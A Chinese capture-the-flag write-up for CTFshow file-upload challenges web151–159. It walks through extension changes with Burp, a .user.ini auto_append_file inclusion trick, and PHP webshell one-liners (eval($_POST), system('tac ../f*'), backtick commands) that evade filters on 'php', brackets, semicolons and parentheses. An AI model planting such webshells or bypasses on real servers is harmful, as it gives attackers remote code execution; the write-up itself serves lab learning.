web151
上传图片,经过测试只能上传后缀为png的图片
抓包改数据:
使用蚁剑连接:
找到flag!
web152
做法和上题一样!
web153
继续之前的操作,但并没有上传成功:
后缀改成php3发现可以上传成功,但不能被解析,也就不能蚁剑连接
访问upload时发现存在index.php文件
使用user.ini绕过
.user.ini
原理: 指定一个文件(如a.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),类似于在index.php中插入一句:require(./a.jpg);这两个设置的区别只是在于auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用的有exit()时该设置无效)所以要求当前目录必须要有php文件,巧合的是这题upload目录下有个index.php所以这种方式是可以成功的。
1、上传.user.ini内容为 auto_append_file=“xxx” xxx为我们上传的文件名。这样就在每个php文件上包含了我们的木马文件。
2、上传木马,因为有文件名限制,命名为shell.png
bp抓包后改后缀为shell.txt
可以访问得到shell.txt
3、访问同目录下的index.php,此时木马已经解析到这里
蚁剑连接:
登陆后可以看到我们上传的.user.ini文件以及shell.txt:
web154
发现依旧存在index.php这个文件
继续上传.user.ini文件
上传shell.txt
发现上传失败了;
经过测试发现过滤了php
看了看大师傅们的博客发现要用到短标签绕过,也可以大写绕过:
1:<?= eval($_POST[A]);?>
2:<? eval($_POST[A]);?>
3:<% eval($_POST[A]);%>
上面的只有第一个可以用
蚁剑连接:
web155
.user.ini+短标签绕过(同上)
web156
依旧是先上传.user.ini,之后经过测试发现上传木马的时候不仅过滤了php,同时也过滤了[]
,可以用{}
代替!其他的同上
或者直接省略蚁剑连接:之前的几关也可以
web157
测试发现多过滤了{}
、;
使用:
<?= system('tac ../f*')?>
然后访问upload/index.php即可:
web158
同上
web159
不含()
时上传成功,当含有()
时报错,显然又过滤了()
我们用反单引号绕过:
<?= `cat ../f*`?>